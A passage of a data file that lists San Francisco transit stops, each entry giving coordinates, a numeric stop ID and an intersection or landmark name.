Embarcadero Station'], ['37.756436,-122.426822', '16217', 'Right Of Way/21st St'], ['37.756643,-122.426922', '16216', 'Right Of Way/21st St'], ['37.758229,-122.427795', '16215', 'Right Of Way/20th St'], ['37.758264,-122.427924', '16214', 'Right Of Way/20th St'], ['37.761192,-122.428184', '16213', 'Right Of Way/18th St'], ['37.731399,-122.429647', '16212', 'Rousseau St and Cayuga Ave'], ['37.74414,-122.41301', '16211', 'Ripley St and Folsom St'], ['37.74418,-122.41315', '16210', 'Ripley St and Folsom St'], ['37.801087,-122.404474', '16775', 'Union St and Montgomery St'], ['37.73119,-122.47435', '16219', 'Right Of Way/Eucalyptus Dr'], ['37.754607,-122.42775', '16218', 'Right Of Way/22nd St'], ['37.80468,-122.425363', '16819', 'Van Ness Ave and North Point St'], ['37.805161,-122.425248', '16818', 'Van Ness Ave and North Point St'], ['37.740003,-122.382973', '14558', 'Evans Ave and Newhall St'], ['37.77869,-122.41982', '16811', 'Van Ness Ave and Grove St'], ['37.800334,-122.424424', '16810', 'Van Ness Ave and Greenwich St'], ['37.794177,-122.423005', '16813', 'Van Ness Ave and Jackson St'], ['37.742994,-122.388309', '14559', 'Evans Ave and Phelps St'], ['37.780204,-122.42019', '16815', 'Van Ness Ave and Mcallister St'], ['37.793829,-122.423131', '16814', 'Van Ness Ave and Jackson St'], ['37.775305,-122.419194', '16817', 'Van Ness Ave and Market St'], ['37.779687,-122.420324', '16816', 'Van Ness Ave and Mcallister St'], ['37.824468,-122.375638', '13672', 'Avenue B and Halibut Ct'], ['37.821938,-122.367796', '13673', 'Avenue H and 4th St'], ['37.756677,-122.465884', '13222', '9th Ave and Moraga St'], ['37.750699,-122.466547', '13232', '10th Ave and Pacheco St'], ['37.749325,-122.466261', '13233', '10th Ave and Quintara St'], ['37.752724,-122.466502', '13230', '10th Ave and Ortega St'], ['37.75086,-122.466376', '13231', '10th Ave and Pacheco St'], ['37.77212,-122.41422', '13236', '11th St and Folsom St'], ['37.77159,-122.41381', '13237', '11th St and Folsom St'], ['37.749164,-122.466432', '13234', '10th Ave and Quintara St'], ['37.769807,-122.4113', '13235', '11th St and Bryant St'], ['37.762069,-122.469324', '15195', 'Judah St and 12th Ave'], ['37.822231,-122.364883', '13676', 'Avenue M and 3rd St'], ['37.77085,-122.41263', '13238', '11th St and Harrison St'], ['37.77036,-122.41227', '13239', '11th St and Harrison St'], ['37.762334,-122.46435', '15191', 'Judah St and 7th Ave'], ['37.762397,-122.462849', '15190', 'Judah St and 6th Ave'], ['37.762227,-122.466688', '15193', 'Judah St and 9th Ave'], ['37.825319,-122.366955', '13677', 'Avenue M and 8th Street'], ['37.823625,-122.36893', '13674', 'Avenue H and 6th St'], ['37.819939,-122.366422', '13675', 'Avenue H and California St'], ['37.741685,-122.504534', '13599', '46th Ave and Taraval St'], ['37.796355,-122.395181', '14534', 'The Embarcadero and Washington St'], ['37.73097,-122.47472', '13355', '19th Ave and Eucalyptus Dr'], ['37.731175,-122.474962', '13354', '19th Ave and Eucalyptus Dr'], ['37.72094,-122.475004', '13357', '19TH AVE and Holloway Ave'], ['37.72111,-122.475302', '13356', '19th Ave and Holloway Ave'], ['37.71953,-122.47458', '13351', '19th Ave and Banbury Dr'], ['37.719691,-122.4749', '13353', '19th Ave and Crespi Dr'], ['37.725785,-122.475051', '13352', '19th Ave and Buckingham Way'], ['37.758932,-122.417001', '17661', 'South Van Ness and 20th St'], ['37.762117,-122.417309', '17660', 'South Van Ness and 18th St'], ['37.75249,-122.416178', '17663', 'South Van Ness and 24th St'], ['37.755729,-122.416693', '17662', 'South Van Ness and 22nd St'], ['37.76368,-122.47731', '13359', '19th Ave and Irving St'], ['37.721074,-122.475233', '13358', '19th Ave and Holloway Ave'], ['37.765258,-122.41764', '17667', '16 th St and South Van Ness'], ['37.761876,-122.41708', '17666', 'South Van Ness and 18 th St'], ['37.720845,-122.446657', '15449', 'Balboa Park BART/Mezzanine level'], ['37.720899,-122.446657', '15448', 'Balboa Park BART/Mezzanine level'], ['37.76439,-122.42856', '17068', 'Church St and 16th St'], ['37.732033,-122.463965', '15443', 'Monterey Blvd and San Jacinto Way'], ['37.732283,-122.46455', '15442', 'Monterey Blvd and San Aleso Ave'], ['37.730553,-122.460426', '15441', 'Monterey Blvd and Saint Elmo WayE'], ['37.731472,-122.453083', '15440', 'Monterey Blvd and Ridgewood Ave'], ['37.71937,-122.45094', '15447', 'Mt Vernon Ave and Louisburg St'], ['37.71969,-122.45177', '15446', 'Mt Vernon Ave and Howth St'], ['37.731267,-122.455832', '15445', 'Monterey Blvd and Valdez Ave'], ['37.731445,-122.455649', '15444', 'Monterey Blvd and Valdez Ave'], ['37.795709,-122.411516', '15364', 'Mason St and Jackson St'], ['37.752287,-122.398556', '16961', 'Wisconsin St and 25th St'], ['37.75238,-122.39841', '16960', 'Wisconsin St and 25th St'], ['37.75355,-122.39853', '16963', 'Wisconsin St and Connecticut St'], ['37.751279,-122.398282', '16962', 'Wisconsin St and 26th St'], ['37.75346,-122.39864', '16965', 'Wisconsin St and Coral Rd'], ['37.753447,-122.39867', '16964', 'Wisconsin St and Connecticut St'], ['37.75591,-122.39884', '16967', 'Wisconsin St and Madera St'], ['37.75577,-122.39872', '16966', 'Wisconsin St and Madera St'], ['37.72925,-122.39285', '16969', 'Williams Ave and 3rd St'], ['37.72938,-122.39295', '16968', 'Williams Ave and 3rd St'], ['37.759034,-122.438039', '14536', 'Eureka St and 19th St'], ['37.74253,-122.38393', '15508', 'Mendell St and Newhall St'], ['37.74106,-122.38444', '15509', 'MENDELL ST/US POST OFFICE'], ['37.74055,-122.38513', '15506', 'Mendell St and Evans Ave'], ['37.74254,-122.3837', '15507', 'Mendell St and Newhall St'], ['37.73502,-122.37947', '15504', 'Middle Point Rd and West Point Rd'], ['37.7437,-122.38317', '15505', 'Mendell St and Cargo Way'], ['37.736521,-122.379505', '15502', 'Middle Point Rd and West Point Rd'], ['37.735164,-122.379323', '15503', 'Middle Point Rd and West Point Rd'], ['37.734174,-122.379541', '15500', 'Middle Point Rd and Innes Ave'], ['37.737011,-122.379321', '15501', 'Middle Point Rd and West Point Rd'], ['37.762206,-122.505971', '13575', '46th Ave and Irving St'], ['37.718927,-122.443829', '17199', 'Geneva Ave at Cayuga Ave'], ['37.779562,-122.393495', '17198', '3RD ST and BRANNAN ST'], ['37.720104,-122.457034', '17193', 'GRAFTON AVE and PLYMOUTH AVE'], ['37.769718,-122.389284', '17192', '1731 3RD ST'], ['37.713395,-122.401995', '17191', 'SAN BRUNO AVE and SOMERSET ST'], ['37.746019,-122.387287', '17190', '3RD ST and ARTHUR AVE'], ['37.746837,-122.444915', '17197', 'DIAMOND HEIGHTS BLVD and PORTOLA'], ['37.719764,-122.465234', '17196', 'GARFIELD ST and VICTORIA ST'], ['37.720095,-122.461111', '17195', 'GRAFTON AVE and JULES AVE'], ['37.720104,-122.459072', '17194', 'GRAFTON AVE and Capitol AVE'], ['37.808351,-122.410287', '14530', 'The Embarcadero and Stockton St'], ['37.733275,-122.404297', '16400', 'Silver Ave and Charter Oak Ave'], ['37.796685,-122.395591', '14533', 'The Embarcadero and Washington St'], ['37.76066,-122.41917', '15555', 'Mission St and 19th St'], ['37.797578,-122.432107', '17056', 'Union St and Buchanan St'], ['37.7289,-122.422569', '16406', 'Silver Ave and Gambier St'], ['37.728748,-122.422786', '16407', 'Silver Ave and Gambier St'], ['37.72251,-122.43002', '15476', 'Naples St and Brazil Ave'], ['37.70636,-122.4599', '15618', 'Mission St and San Jose Ave'], ['37.70866,-122.45332', '15619', 'Mission St and Sickles Ave'], ['37.708944,-122.405204', '16569', 'Sunnydale Ave and Bay Shore Blvd'], ['37.729932,-122.412981', '16404', 'Silver Ave and Dartmouth St'], ['37.7846,-122.387954', '17447', 'The Embarcadero and Brannan St'], ['37.762992,-122.388925', '13321', '18th St and 3rd St'], ['37.74694,-122.4191', '15612', 'Mission St and Precita Ave'], ['37.73591,-122.42442', '15613', 'Mission St and Richland Ave'], ['37.7134,-122.42138', '16567', '1900 Sunnydale Ave'], ['37.74711,-122.41882', '15611', 'Mission St and Precita Ave'], ['37.72281,-122.43633', '15616', 'Mission St and Ruth St'], ['37.738379,-122.494084', '16560', 'Sunset Blvd and Vicente St'], ['37.73562,-122.4247', '15614', 'Mission St and Richland Ave'], ['37.721469,-122.437117', '15615', 'Mission St and Russia Ave'], ['37.762522,-122.460947', '17687', 'Parnassus Ave &4th Ave'], ['37.748059,-122.444904', '17685', 'Burnett Ave and Dawnview Way'], ['37.711797,-122.437989', '15475', 'Naples St and Brunswick St'], ['37.770233,-122.403828', '17683', 'Townsend St and 8th St'], ['37.804109,-122.424973', '17682', 'Bay Street and Van Ness Ave'], ['37.788996,-122.402188', '17681', 'POST and MONTGOMERY'], ['37.788587,-122.40541', '17680', 'POST and GRANT'], ['37.805037,-122.425111', '15472', 'North Point St and Van Ness Ave'], ['37.77402,-122.44624', '15715', 'Masonic Ave and Hayes St'], ['37.734894,-122.415682', '17689', 'Crescent Ave and Anderson St'], ['37.760952,-122.435151', '13325', '18th St and Castro St'], ['37.78463,-122.466825', '13827', 'California St and 8th Ave'], ['37.784819,-122.465432', '13826', 'California St and 7th Ave'], ['37.784902,-122.464709', '13825', 'California St and 6th Ave'], ['37.785017,-122.464939', '13824', 'California St and 6th Ave'], ['37.785178,-122.46257', '13823', 'California St and 4th Ave'], ['37.785353,-122.462292', '13822', 'California St and 4th Ave'], ['37.76681,-122.4382', '13821', 'Buena Vista Ter and Roosevelt Way'], ['37.76685,-122.43815', '13820', 'Buena Vista Ter and Roosevelt Way'], ['37.729869,-122.372134', '15098', 'Innes Ave and Earl St'], ['37.80688,-122.410594', '15471', 'North Point St and Stockton St'], ['37.75911,-122.41902', '15557', 'Mission St and 20th St'], ['37.764035,-122.50611', '13582', '46th Ave and Lincoln Way'], ['37.784665,-122.469159', '13828', 'California St and 10th Ave'], ['37.776868,-122.470531', '13041', 'Balboa St and 12th Ave'], ['37.764053,-122.50627', '13583', '46th Ave and Lincoln Way'], ['37.770089,-122.445407', '15711', 'Masonic Ave and Haight St'], ['37.777002,-122.470313', '13040', 'Balboa St and 12th Ave'], ['37.754925,-122.505621', '13584', '46th Ave and Moraga St'], ['37.77676,-122.475769', '13043', 'Balboa St and 17th Ave'], ['37.80013,-122.45913', '15724', 'Montgomery St (Presidio)/Bldg 102'], ['37.779473,-122.500677', '14282', 'Geary Blvd and 39th Ave'], ['37.779286,-122.499829', '14283', 'Geary Blvd and 39th Ave'], ['37.779671,-122.496402', '14280', 'Geary Blvd and 36th Ave'], ['37.779439,-122.49662', '14281', 'Geary Blvd and 36th Ave'], ['37.779043,-122.506259', '14286', 'Geary Blvd and 45th Ave'], ['37.781376,-122.458737', '14287', 'Geary Blvd and Arguello Blvd'], ['37.779651,-122.502855', '14284', 'Geary Blvd and 42nd Ave'], ['37.779151,-122.502775', '14285', 'Geary Blvd and 42nd Ave'], ['37.806052,-122.417176', '15461', 'North Point St and Jones St'], ['37.776662,-122.477912', '13045', 'Balboa St and 19th Ave'], ['37.781153,-122.458692', '14288', 'Geary Blvd and Arguello Blvd'], ['37.782973,-122.442965', '14289', 'Geary Blvd and Baker St'], ['37.776626,-122.475987', '13044', 'Balboa St and 17th Ave'], ['37.766864,-122.39088', '17767', '16th Street and 4th Street'], ['37.775263,-122.465006', '17539', 'Cabrillo St and 7th Ave'], ['37.776563,-122.480056', '13047', 'Balboa St and 21st Ave'], ['37.764789,-122.401676', '17537', '17th St and De Haro St'], ['37.776528,-122.47813', '13046', 'Balboa St and 19th Ave'], ['37.755387,-122.386832', '17531', 'Not a public stop'], ['37.755387,-122.386889', '17530', 'Not a public stop'], ['37.752275,-122.416167', '17532', 'South Van Ness Ave and 24th St'], ['37.79843,-122.46024', '15637', 'Moraga Ave and Montgomery St'], ['37.740893,-122.465846', '17058', 'West Portal Ave and Ulloa St'], ['37.765375,-122.477197', '1383', '19TH AVE and LINCOLN WAY'], ['37.720976,-122.475107', '1385', '19TH AVE and HOLLOWAY'], ['37.71257,-122.40515', '16178', 'Raymond Ave and Alpha St'], ['37.72859,-122.36519', '16179', 'ROBINSON ST/Bldg 152'], ['37.714761,-122.470248', '16176', 'Randolph St and Byxbee St'], ['37.721262,-122.475107', '1389', '19TH AVE and HOLLOWAY Ave'], ['37.714348,-122.463392', '16174', 'Randolph St and Bright St'], ['37.71424,-122.46361', '16175', 'Randolph St and Bright St'], ['37.714342,-122.466982', '16172', 'Randolph St and Arch St'], ['37.714201,-122.467218', '16173', 'Randolph St and Arch St'], ['37.748985,-122.469423', '16170', 'Quintara St and Funston Ave'], ['37.748834,-122.46964', '16171', 'Quintara St and Funston Ave'], ['37.782509,-122.446805', '14758', 'Geary Blvd and Presidio Ave'], ['37.782322,-122.445934', '14759', 'Geary Blvd and Presidio Ave'], ['37.796589,-122.438883', '16778', 'Union St and Pierce St'], ['37.798799,-122.422499', '16779', 'Union St and Polk St'], ['37.77251,-122.48726', '14750', 'Fulton St and 28th Ave'], ['37.77235,-122.48717', '14751', 'Fulton St and 28th Ave'], ['37.7724,-122.48941', '14752', 'Fulton St and 30th Ave'], ['37.77224,-122.48919', '14753', 'Fulton St and 30th Ave'], ['37.782152,-122.447286', '14754', 'Geary Blvd and Masonic Ave'], ['37.780687,-122.472423', '14755', 'Geary Blvd and Park Presidio Blvd'], ['37.780526,-122.472676', '14756', 'Geary Blvd and Park Presidio Blvd'], ['37.800108,-122.412374', '16773', 'Union St and Mason St'], ['37.731858,-122.387046', '15872', 'Palou Ave and Keith St'], ['37.732055,-122.387367', '15873', 'Palou Ave and Keith St'], ['37.730795,-122.385146', '15870', 'Palou Ave and Jennings St'], ['37.73082,-122.38542', '15871', 'Palou Ave and Jennings St'], ['37.732912,-122.389176', '15876', 'Palou Ave and Lane St'], ['37.735029,-122.39292', '15877', 'Palou Ave and Newhall St'], ['37.731849,-122.38731', '15874', 'Palou Ave and Keith St'], ['37.732921,-122.38889', '15875', 'Palou Ave and Lane St'], ['37.735028,-122.392657', '15878', 'Palou Ave and Newhall St'], ['37.7361,-122.394535', '15879', 'Palou Ave and Phelps St'], ['37.72166,-122.42857', '13759', 'Brazil Ave and Athens St'], ['37.72162,-122.42829', '13758', 'Brazil Ave and Athens St'], ['37.80735,-122.4079', '15462', 'North Point St and Kearny St'], ['37.762635,-122.419348', '15553', 'Mission St and 18th St'], ['37.74951,-122.40873', '13751', 'Bryant St and 26th St'], ['37.74969,-122.40891', '13750', 'Bryant St and 26th St'], ['37.7681,-122.41081', '13753', 'Bryant St and Alameda St'], ['37.76845,-122.41068', '13752', 'Bryant St and Alameda St'], ['37.76911,-122.41091', '13755', 'Bryant St and Division St'], ['37.76967,-122.41045', '13754', 'Bryant St and Division St'], ['37.76294,-122.41016', '13757', 'Bryant St and Mariposa St'], ['37.76314,-122.41032', '13756', 'Bryant St and Mariposa St'], ['37.783193,-122.432627', '14633', "Fillmore St and O'Farrell St"], ['37.773759,-122.430866', '14632', 'Fillmore St and Oak St'], ['37.774268,-122.430825', '14631', 'Fillmore St and Oak St'], ['37.803547,-122.436791', '14630', 'Fillmore St and North Point St'], ['37.789925,-122.4341', '14637', 'Fillmore St and Sacramento St'], ['37.787717,-122.433655', '14636', 'Fillmore St and Pine St'], ['37.788049,-122.433565', '14635', 'Fillmore St and Pine St'], ['37.783019,-122.432699', '14634', "Fillmore St and O'Farrell St"], ['37.760237,-122.465954', '13217', '9th Ave and Kirkham St'], ['37.789577,-122.43404', '14639', 'Fillmore St and Sacramento St'], ['37.789744,-122.433947', '14638', 'Fillmore St and Sacramento St'], ['37.75272,-122.47619', '13379', '19th Ave and Ortega St'], ['37.76455,-122.41971', '15552', 'Mission St and 16th St'], ['37.76694,-122.447917', '14078', 'Clayton St and Frederick St'], ['37.742313,-122.400442', '16688', 'Toland St and Mckinnon Ave'], ['37.741492,-122.400992', '16689', 'Toland St and Newcomb Ave'], ['37.73447,-122.445283', '16680', 'Teresita Blvd and Stillings Ave'], ['37.734568,-122.4455', '16681', 'Teresita Blvd and Stillings Ave'], ['37.75838,-122.39513', '16682', 'Texas St and Sierra St'], ['37.75826,-122.39519', '16683', 'Texas St and Sierra St'], ['37.81622,-122.37144', '16684', 'TREASURE ISLAND RD/GUARD STATION'], ['37.81602,-122.3718', '16685', 'TREASURE ISLAND RD/GUARD STATION'], ['37.7439,-122.398814', '16686', 'Toland St and Jerrold Ave'], ['37.743936,-122.399009', '16687', 'Toland St and Jerrold Ave'], ['37.722933,-122.444894', '16276', 'San Jose Ave and Ocean Ave'], ['37.77786,-122.4383', '14428', 'Divisadero St and Mcallister St'], ['37.777682,-122.438415', '14429', 'Divisadero St and Mcallister St'], ['37.724654,-122.43494', '1906', 'MISSION ST and BRAZIL AVE'], ['37.806524,-122.41346', '15467', 'North Point St and Mason St'], ['37.729441,-122.48629', '14839', 'Lake Merced and Middlefield Dr'], ['37.729628,-122.486404', '14838', 'Lake Merced and Middlefield Dr'], ['37.719728,-122.471739', '13689', 'Beverly St and Garfield St'], ['37.72797,-122.40367', '16355', 'San Bruno Ave and Bacon St'], ['37.712289,-122.402419', '16352', 'San Bruno Ave and Arleta Ave'], ['37.71245,-122.40259', '16353', 'San Bruno Ave and Arleta Ave'], ['37.805022,-122.403314', '14529', 'The Embarcadero and Sansome St'], ['37.71424,-122.4019', '16351', '3947 San Bruno Ave'], ['37.71487,-122.485354', '14831', 'Lake Merced Blvd and Brotherhood Way'], ['37.72508,-122.42342', '13682', 'Avalon Ave and Peru Ave'], ['37.72423,-122.48489', '14833', 'Lake Merced Blvd and Font Blvd'], ['37.79721,-122.39557', '14524', 'THE EMBARCADERO/Pier 1'], ['37.718422,-122.485207', '14835', 'Lake Merced Blvd and Higuera Ave'], ['37.72732,-122.4047', '13686', 'Bacon St and Girard St'], ['37.72408,-122.4022', '16358', 'San Bruno Ave and Dwight St'], ['37.73011,-122.4047', '16359', 'San Bruno Ave and Felton St'], ['37.75959,-122.40201', '16194', 'Rhode Island St and 20th St'], ['37.759436,-122.402161', '16195', 'Rhode Island St and 20th St'], ['37.756884,-122.401911', '16196', 'Rhode Island St and 22nd St'], ['37.754332,-122.401672', '16197', 'Rhode Island St and 23rd St'], ['37.766164,-122.402799', '16190', 'Rhode Island St and 16th St'], ['37.76487,-122.402673', '16191', 'Rhode Island St and 17th St'], ['37.761988,-122.4024', '16192', 'Rhode Island St and 18th St'], ['37.760953,-122.402298', '16193', 'Rhode Island St and 19th St'], ['37.782795,-122.442541', '14765', "Geary Blvd and St Joseph'S Ave"], ['37.80656,-122.41424', '15466', 'North Point St and Mason St'], ['37.753386,-122.401569', '16198', 'Rhode Island St and 24th St'], ['37.75211,-122.401467', '16199', 'Rhode Island St and 25th St'], ['37.78126,-122.456434', '14764', 'Geary Blvd and Stanyan St'], ['37.719308,-122.425802', '1904', 'DUBLIN ST and BRAZIL AVE'], ['37.786983,-122.411681', '14767', 'Geary Blvd and Taylor St'], ['37.766091,-122.464603', '15298', 'Lincoln Way and 7th Ave'], ['37.765957,-122.464007', '15299', 'Lincoln Way and 7th Ave'], ['37.76618,-122.46246', '15296', 'Lincoln Way and 5th Ave'], ['37.766047,-122.461887', '15297', 'Lincoln Way and 5th Ave'], ['37.79922,-122.45172', '15294', 'LETTERMAN DR and LINCOLN BLVD'], ['37.76612,-122.46014', '15295', 'Lincoln Way and 3rd Ave'], ['37.72039,-122.45013', '15292', 'Louisburg St and Niagra Ave'], ['37.799382,-122.451849', '15293', 'LETTERMAN DR/Tides Bldg'], ['37.73137,-122.38172', '15290', 'La Salle Ave and Osceola Dr'], ['37.72163,-122.44935', '15291', 'Louisburg St and Geneva Ave'], ['37.74427,-122.48756', '13531', '30th Ave and Santiago St'], ['37.74451,-122.48765', '13530', '30th Ave and Santiago St'], ['37.74241,-122.48743', '13533', '30th Ave and Taraval St'], ['37.742646,-122.487545', '13532', '30th Ave and Taraval St'], ['37.742159,-122.426369', '13535', '30th St and Church St'], ['37.74077,-122.48739', '13534', '30th Ave and Ulloa St'], ['37.742304,-122.424026', '13537', '30th St and Dolores St'], ['37.74204,-122.42676', '13536', '30th St and Church St'], ['37.742435,-122.421877', '13539', 'Mission St and 30th St'], ['37.74217,-122.424457', '13538', '30th St and Dolores St'], ['37.79041,-122.39352', '15056', 'Howard St and Main St'], ['37.791401,-122.392534', '15057', 'Howard St and Spear St'], ['37.733319,-122.381845', '15050', 'Hudson Ave and Whitney Young Cir'], ['37.733355,-122.38212', '15051', 'Hudson Ave and Whitney Young Cir'], ['37.7866,-122.39861', '15052', 'Howard St and 2nd St'], ['37.78484,-122.40083', '15053', 'Howard St and 3rd St'], ['37.801541,-122.444798', '13072', 'Broderick St and Bay St'], ['37.734733,-122.415052', '17209', 'CRESCENT AVE and ELLSWORTH ST'], ['37.735394,-122.50493', '17208', 'SLOAT BLVD and 47TH AVE'], ['37.794177,-122.421732', '17203', 'JACKSON ST and POLK ST'], ['37.728757,-122.422477', '17202', 'SILVER AVE and GAMBIER ST'], ['37.758542,-122.466034', '17201', '9TH AVE and LAWTON ST'], ['37.760398,-122.46616', '17200', '9th Ave and KIRKHAM ST'], ['37.739806,-122.382549', '17206', 'EVANS AVE/US Post Office'], ['37.734914,-122.4714', '17205', 'WEST PORTAL AVE and SLOAT BLVD'], ['37.773206,-122.509876', '17204', 'Cabrillo St and La Playa St'], ['37.757239,-122.426867', '16222', 'Right Of Way/Liberty St'], ['37.732022,-122.473719', '16223', 'Right Of Way/Ocean Ave'], ['37.730987,-122.474366', '16220', 'Right Of Way/Eucalyptus Dr'], ['37.757451,-122.426999', '16221', 'Right Of Way/Liberty St'], ['37.734299,-122.471956', '16226', 'West Portal Ave and Sloat Blvd'], ['37.74018,-122.45048', '16227', 'Reposa Way and Myra Way'], ['37.731808,-122.473815', '16224', 'Right Of Way/Ocean Ave'], ['37.734298,-122.47189', '16225', 'West Portal Ave and Sloat Blvd'], ['37.75751,-122.41887', '15559', 'Mission St and 21st St'], ['37.740198,-122.450609', '16228', 'Reposa Way and Myra Way'], ['37.740823,-122.449361', '16229', 'Reposa Way and Teresita Blvd'], ['37.77678,-122.4727', '13042', 'Balboa St and 14th Ave'], ['37.75817,-122.41909', '15558', 'Mission St and 20th St'], ['37.752837,-122.505482', '13587', '46th Ave and Noriega St'], ['37.731463,-122.451239', '17337', 'Monterey Blvd and Gennessee St'], ['37.805279,-122.432093', '17336', 'FORT MASON/Bus isl nr guard gate'], ['37.714424,-122.411213', '17335', 'Raymond Ave and Elliot St'], ['37.712226,-122.402179', '17334', 'Bay Shore Blvd and Blanken Ave'], ['37.713345,-122.414443', '17333', 'Sawyer St and Visitacion Ave'], ['37.824599,-122.371452', '13228', '9th St and Avenue E'], ['37.713844,-122.409049', '17331', 'Raymond Ave and Delta St'], ['37.713343,-122.407148', '17330', 'Raymond Ave and Rutland St'], ['37.754634,-122.465551', '13225', '9th Ave and Noriega St'], ['37.754804,-122.465758', '13224', '9th Ave and Noriega St'], ['37.823397,-122.374286', '13227', '9th St and Avenue C'], ['37.752939,-122.465631', '13226', '9th Ave and Ortega St'], ['37.765689,-122.466517', '13221', '9th Ave and Lincoln Way'], ['37.76585,-122.466345', '13220', '9th Ave and Lincoln Way'], ['37.756508,-122.465689', '13223', '9th Ave and Moraga St'], ['37.717484,-122.387001', '17338', 'Gilman Ave and Giants Dr'], ['37.773183,-122.422553', '14954', 'Haight St and Gough St'], ['37.772764,-122.425843', '14955', 'Haight St and Laguna St'], ['37.764929,-122.399284', '13320', '17th St and Wisconsin St'], ['37.711083,-122.438504', '15477', 'Naples St and Curtis St'], ['37.76137,-122.428195', '13322', '18th St and Church St'], ['37.761245,-122.428138', '13323', '18th St and Church St'], ['37.76258,-122.397352', '13324', '18th St and Connecticut St'], ['37.7155,-122.4352', '15473', 'Naples St and Amazon Ave'], ['37.760845,-122.434842', '13326', '18th St and Castro St'], ['37.760355,-122.44354', '13327', '18th St and Danvers St'], ['37.76024,-122.44349', '13328', '18th St and Danvers St'], ['37.760702,-122.437294', '13329', '18th St and Diamond St'], ['37.71767,-122.43356', '15478', 'Naples St and France Ave'], ['37.71445,-122.43597', '15479', 'Naples St and Geneva Ave'], ['37.799711,-122.43613', '15274', 'Lombard St and Fillmore St'], ['37.799881,-122.435958', '15275', 'Lombard St and Fillmore St'], ['37.8035,-122.40807', '15276', 'Lombard St and Grant Ave'], ['37.716268,-122.400974', '17059', 'Wilde Ave and Brussels St'], ['37.792311,-122.480922', '15270', 'Lincoln Blvd and Pershing Dr'], ['37.801022,-122.469277', '15271', 'Lincoln Blvd and Storey Ave'], ['37.798882,-122.442735', '15272', 'Lombard St and Divisadero St'], ['37.799078,-122.442861', '15273', 'Lombard St and Divisadero St'], ['37.7259,-122.4424', '17052', 'San Jose Ave and Santa Ynez Ave'], ['37.76824,-122.45334', '17053', 'Stanyan St and Waller St'], ['37.72881,-122.44007', '17050', 'San Jose Ave and Santa Rosa Ave'], ['37.72567,-122.44237', '17051', 'San Jose Ave and Santa Ynez Ave'], ['37.8037,-122.40651', '15278', 'Lombard St and Kearny St'], ['37.803559,-122.406525', '15279', 'Lombard St and Kearny St'], ['37.71716,-122.40763', '17054', 'Tioga Ave and Delta St'], ['37.71666,-122.4058', '17055', 'Tioga Ave and Rutland St'], ['37.73711,-122.42792', '13972', 'Chenery St and Miguel St'], ['37.791281,-122.444362', '15142', 'Jackson St and Baker St'], ['37.767327,-122.429321', '16998', 'Metro Church Station/Outbound'], ['37.774587,-122.405005', '16999', '7th St and Bryant St'], ['37.788791,-122.402127', '16994', 'Metro Montgomery Station/Outbound'], ['37.7843,-122.407822', '16995', 'Metro Powell Station/Outbound'], ['37.775234,-122.41934', '16996', 'Van Ness Station Outbound'], ['37.778675,-122.414995', '16997', 'Metro Civic Center Station/Outbd'], ['37.732623,-122.458719', '16990', 'Yerba Buena Ave and Saint Elmo Way'], ['37.762683,-122.435289', '16991', 'Metro Castro Station/Outbound'], ['37.793143,-122.396396', '16992', 'Metro Embarcadero Station'], ['37.74817,-122.459192', '16993', 'Forest Hill Station Outbound'], ['37.735505,-122.460804', '15519', 'Miraloma Dr and Yerba Buena Ave'], ['37.740207,-122.45927', '15518', 'Miraloma Dr and Marne Ave'], ['37.781827,-122.504106', '15511', 'V.A. HOSPITAL'], ['37.74113,-122.38464', '15510', 'MENDELL ST/Opposite US POST OFFICE'], ['37.737744,-122.461458', '15513', '126 Miraloma Dr'], ['37.782139,-122.505528', '15512', 'V.A. Hospital'], ['37.739377,-122.460083', '15515', 'Miraloma Dr and Juanita Way'], ['37.737869,-122.461309', '15514', 'Miraloma Dr and Bengal Aly'], ['37.740082,-122.459224', '15517', 'Miraloma Dr and Marne Ave'], ['37.739199,-122.460026', '15516', 'Miraloma Dr and Juanita Way'], ['37.777101,-122.46817', '13038', 'Balboa St and 10th Ave'], ['37.776967,-122.468388', '13039', 'Balboa St and 10th Ave'], ['37.777289,-122.464158', '13034', 'Balboa St and 6th Ave'], ['37.777173,-122.463849', '13035', 'Balboa St and 6th Ave'], ['37.777199,-122.466038', '13036', 'Balboa St and 8th Ave'], ['37.777065,-122.466256', '13037', 'Balboa St and 8th Ave'], ['37.79686,-122.40077', '13030', 'Battery St and Jackson St'], ['37.806094,-122.409161', '13031', 'Bay St and Midway St'], ['37.777396,-122.461751', '13032', 'Balboa St and 4th Ave'], ['37.777262,-122.461969', '13033', 'Balboa St and 4th Ave'], ['37.765374,-122.415428', '13298', '16th St and Shotwell St'], ['37.765218,-122.416048', '13299', '16th St and Shotwell St'], ['37.738142,-122.50444', '13602', '46th Ave and Vicente St'], ['37.731238,-122.471858', '15139', 'Junipero Serra Blvd and Ocean Ave'], ['37.731363,-122.471674', '15138', 'Junipero Serra Blvd and Ocean Ave'], ['37.78277,-122.40665', '13173', '5th St and Mission St'], ['37.73404,-122.42592', '15605', 'Mission St and Murray St'], ['37.7147,-122.44265', '15604', 'Mission St and Mt Vernon Ave'], ['37.72431,-122.43519', '15607', 'Mission St and Norton St'], ['37.71172,-122.44569', '15601', 'Mission St and Lowell St'], ['37.7095,-122.45087', '15600', 'Mission St and Lawrence Ave'], ['37.791965,-122.39493', '15603', 'Mission St and Main St'], ['37.711468,-122.446532', '15602', 'Mission St and Lowell St'], ['37.739998,-122.504579', '13600', '46th Ave and Ulloa St'], ['37.721282,-122.437483', '15609', 'Mission St and Onondaga Ave'], ['37.765701,-122.407646', '13296', '16th St and Potrero Ave'], ['37.80221,-122.4095', '16518', 'Stockton St and Greenwich St'], ['37.80313,-122.40969', '16519', 'Stockton St and Lombard St'], ['37.765861,-122.405515', '13297', '16th St and San Bruno Ave'], ['37.8078,-122.41061', '16510', 'Stockton St and Beach St'], ['37.793736,-122.407757', '16511', 'Stockton St and Clay St'], ['37.799215,-122.408878', '16512', 'Stockton St and Columbus Ave'], ['37.799277,-122.40905', '16513', 'Stockton St and Columbus Ave'], ['37.78576,-122.40624', '16514', 'Stockton St and Ellis St'], ['37.801419,-122.409461', '16515', 'Stockton St and Filbert St'], ['37.78774,-122.406706', '16516', 'Stockton St and Geary Blvd'], ['37.802347,-122.409656', '16517', 'Stockton St and Greenwich St'], ['37.776429,-122.480273', '13048', 'Balboa St and 21st Ave'], ['37.732262,-122.391514', '17348', 'Third Street/Revere/Shafter'], ['37.73361,-122.41325', '13620', '346 Alemany Blvd'], ['37.73435,-122.390848', '17349', 'Third Street/Oakdale/Palou'], ['37.78915,-122.41658', '13812', 'Bush St and Hyde St'], ['37.78944,-122.41387', '13813', 'Bush St and Jones St'], ['37.83175,-122.51538', '13810', 'BUNKER RD/Stables'], ['37.79131,-122.39977', '13811', 'Bush St and Battery St'], 